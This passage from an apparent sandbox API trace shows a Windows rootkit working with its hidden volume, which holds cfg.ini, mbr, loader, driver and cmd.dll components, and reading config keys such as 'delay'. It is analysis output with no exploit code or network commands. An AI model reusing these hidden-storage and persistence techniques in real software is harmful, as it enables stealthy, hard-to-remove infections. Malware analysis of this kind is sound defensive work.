_MaxCount=0x10) returned -15 [0123.178] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.178] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.178] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.178] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.178] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.178] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.178] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.178] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.178] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.178] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.178] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.178] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.178] KeLeaveCriticalRegion () [0123.178] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.178] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.178] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.178] KeEnterCriticalRegion () [0123.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.178] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.178] IdePortDispatch () returned 0x103 [0123.178] KeWaitForMutexObject () returned 0x0 [0123.178] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.178] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.178] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.178] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.178] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.178] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.178] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.178] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.178] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.178] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.178] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.178] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.178] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.178] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.179] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.179] KeLeaveCriticalRegion () [0123.179] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.179] ReleaseMutex (hMutex=0x100) returned 1 [0123.179] Sleep (dwMilliseconds=0x2bf20) [0123.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c9fe230, dwHighDateTime=0x1d24fa4)) [0123.186] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.186] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.186] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.186] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.186] KeEnterCriticalRegion () [0123.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.186] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.186] IdePortDispatch () returned 0x103 [0123.186] KeWaitForMutexObject () returned 0x0 [0123.186] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.186] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.186] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.186] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.186] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.186] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beafb0 [0123.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.186] KeLeaveCriticalRegion () [0123.186] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.186] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.186] KeEnterCriticalRegion () [0123.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.186] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.186] KeLeaveCriticalRegion () [0123.186] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.186] KeEnterCriticalRegion () [0123.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.186] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.186] IdePortDispatch () returned 0x103 [0123.187] KeWaitForMutexObject () returned 0x0 [0123.187] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.187] KeLeaveCriticalRegion () [0123.187] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.187] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.187] KeEnterCriticalRegion () [0123.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.187] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de8000 [0123.187] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.187] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.187] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.187] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.187] IdePortDispatch () returned 0x103 [0123.187] KeWaitForMutexObject () returned 0x0 [0123.187] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.187] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.187] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.187] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.187] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.187] IdePortDispatch () returned 0x103 [0123.187] KeWaitForMutexObject () returned 0x0 [0123.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.187] KeLeaveCriticalRegion () [0123.187] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.188] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.188] KeEnterCriticalRegion () [0123.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.188] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.188] KeLeaveCriticalRegion () [0123.188] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.188] KeEnterCriticalRegion () [0123.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.188] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.188] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.188] KeLeaveCriticalRegion () [0123.188] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.188] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.188] KeEnterCriticalRegion () [0123.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.188] ExFreePoolWithTag (P=0xfffffa8003beafb0, Tag=0x0) [0123.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.188] KeLeaveCriticalRegion () [0123.188] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.188] ReleaseMutex (hMutex=0xf0) returned 1 [0123.188] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.188] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.188] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.189] KeEnterCriticalRegion () [0123.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.189] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.189] IdePortDispatch () returned 0x103 [0123.189] KeWaitForMutexObject () returned 0x0 [0123.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.189] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.189] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.189] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.189] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.189] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9510 [0123.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.189] KeLeaveCriticalRegion () [0123.189] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.189] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.189] KeEnterCriticalRegion () [0123.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.189] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.189] KeLeaveCriticalRegion () [0123.189] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.189] KeEnterCriticalRegion () [0123.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.189] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.189] IdePortDispatch () returned 0x103 [0123.189] KeWaitForMutexObject () returned 0x0 [0123.190] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.190] KeLeaveCriticalRegion () [0123.190] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.190] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.190] KeEnterCriticalRegion () [0123.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.190] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de9000 [0123.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.190] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.190] IdePortDispatch () returned 0x103 [0123.190] KeWaitForMutexObject () returned 0x0 [0123.190] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.190] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.190] IdePortDispatch () returned 0x103 [0123.190] KeWaitForMutexObject () returned 0x0 [0123.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.190] KeLeaveCriticalRegion () [0123.190] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.191] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.191] KeEnterCriticalRegion () [0123.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.191] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.191] KeLeaveCriticalRegion () [0123.191] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.191] KeEnterCriticalRegion () [0123.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.191] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.191] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.191] KeLeaveCriticalRegion () [0123.191] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.191] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.191] KeEnterCriticalRegion () [0123.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.191] ExFreePoolWithTag (P=0xfffffa8003be9510, Tag=0x0) [0123.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.191] KeLeaveCriticalRegion () [0123.191] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.191] ReleaseMutex (hMutex=0xf0) returned 1 [0123.191] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.191] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.191] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.191] KeEnterCriticalRegion () [0123.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.191] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.191] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.191] IdePortDispatch () returned 0x103 [0123.192] KeWaitForMutexObject () returned 0x0 [0123.192] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.192] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.192] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.192] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.192] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.192] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbedc0 [0123.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.192] KeLeaveCriticalRegion () [0123.192] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.192] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.192] KeEnterCriticalRegion () [0123.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.192] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.192] KeLeaveCriticalRegion () [0123.192] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.192] KeEnterCriticalRegion () [0123.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.192] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.192] IdePortDispatch () returned 0x103 [0123.192] KeWaitForMutexObject () returned 0x0 [0123.192] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.192] KeLeaveCriticalRegion () [0123.192] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.192] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.193] KeEnterCriticalRegion () [0123.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.193] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dea000 [0123.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.193] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.193] IdePortDispatch () returned 0x103 [0123.193] KeWaitForMutexObject () returned 0x0 [0123.193] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.193] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.193] IdePortDispatch () returned 0x103 [0123.193] KeWaitForMutexObject () returned 0x0 [0123.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.193] KeLeaveCriticalRegion () [0123.193] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.194] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.194] KeEnterCriticalRegion () [0123.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.194] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | 